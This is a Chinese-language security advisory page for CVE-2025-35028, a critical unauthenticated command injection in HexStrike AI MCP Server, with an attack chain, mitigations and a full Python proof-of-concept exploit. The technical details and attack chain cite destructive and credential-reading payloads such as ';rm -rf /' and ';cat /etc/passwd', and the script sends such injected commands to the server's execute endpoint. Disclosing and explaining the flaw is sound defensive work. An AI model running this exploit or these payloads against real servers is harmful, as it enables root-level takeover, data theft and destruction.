IPBUF安全漏洞报告
English
CVE-2025-35028 CVSS 9.1 严重

CVE-2025-35028 HexStrike AI MCP Server命令注入漏洞

披露日期: 2025-11-30

漏洞信息

漏洞编号
CVE-2025-35028
漏洞类型
命令注入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
HexStrike AI MCP Server

相关标签

命令注入远程代码执行权限提升HexStrike AIMCP Server无需认证CVSS 9.1

漏洞概述

CVE-2025-35028是HexStrike AI MCP服务器中的一个严重命令注入漏洞,CVSS评分高达9.1(满分10分)。该漏洞存在于EnhancedCommandExecutor类创建的API端点中,攻击者可以通过在命令行参数前添加分号(;)来注入任意系统命令。由于MCP服务器通常以root权限运行,攻击者可直接获得系统最高权限,完全控制服务器。该漏洞无需任何认证或用户交互即可被利用,属于极其危险的高危漏洞。漏洞影响版本为2025年9月commit 2f3a5512之前的版本。建议立即升级到最新版本并实施严格的输入验证机制。

技术细节

HexStrike AI MCP服务器的EnhancedCommandExecutor类在处理API端点的命令行参数时存在严重的命令注入漏洞。该类直接拼接用户输入的参数字符串构造系统命令,而未对特殊字符进行任何过滤或转义处理。攻击者只需在参数开头添加分号(;),即可终止原命令并注入任意恶意命令。例如,攻击者可构造包含;rm -rf /的请求来删除系统文件,或使用;cat /etc/passwd读取敏感配置。由于MCP服务器默认以root权限运行,注入的命令将以最高权限执行,实现完全的系统入侵。漏洞根源在于代码中缺乏参数白名单验证和命令参数转义机制,开发者假设所有输入均可信。攻击者可通过简单的HTTP请求利用此漏洞,无需任何身份验证或特殊条件。

攻击链分析

STEP 1
步骤1
识别目标:攻击者首先识别运行HexStrike AI MCP Server的服务器,确认API端点可访问
STEP 2
步骤2
构造恶意请求:攻击者构造包含分号前缀的命令注入payload,如;cat /etc/passwd
STEP 3
步骤3
发送HTTP请求:向EnhancedCommandExecutor类的API端点发送POST请求,无需任何认证
STEP 4
步骤4
命令执行:服务器将分号后的内容作为独立命令执行,以root权限运行
STEP 5
步骤5
获取系统控制:攻击者成功执行任意命令,可窃取敏感数据、安装后门或完全接管系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-35028 PoC - HexStrike AI MCP Server Command Injection # Description: Exploit command injection via EnhancedCommandExecutor API endpoint # Severity: CRITICAL (CVSS 9.1) import requests import json import sys def exploit_cve_2025_35028(target_url, command="id"): """ Exploit the command injection vulnerability in HexStrike AI MCP Server. By prefixing the command argument with a semicolon, attackers can inject and execute arbitrary system commands with root privileges. Args: target_url: Base URL of the vulnerable HexStrike AI MCP server command: System command to execute (default: 'id' for testing) Returns: Response from the exploited endpoint """ # Construct malicious payload with command injection # The semicolon (;) terminates the original command and injects arbitrary commands injected_payload = f";{command}" # Target the EnhancedCommandExecutor API endpoint endpoint = f"{target_url}/api/execute" # Prepare the malicious request payload = { "command": injected_payload, "args": [injected_payload] } headers = { "Content-Type": "application/json", "User-Agent": "HexStrike-CLI/1.0" } try: # Send the exploit request - no authentication required response = requests.post(endpoint, json=payload, headers=headers, timeout=10) return response.json() except requests.exceptions.RequestException as e: return {"error": str(e)} def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-35028.py <target_url> [command]") print("Example: python3 cve-2025-35028.py http://target:5000 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "id" print(f"[*] Exploiting CVE-2025-35028 on {target}") print(f"[*] Executing command: {cmd}") result = exploit_cve_2025_35028(target, cmd) print(f"[+] Result: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()

影响范围

HexStrike AI MCP Server < commit 2f3a5512 (2025年9月)

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:以低权限用户运行MCP服务,避免使用root权限;配置网络访问控制,限制对API端点的访问来源;在反向代理层实施输入过滤规则,拦截包含分号等特殊字符的请求;监控日志中的异常命令执行行为。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表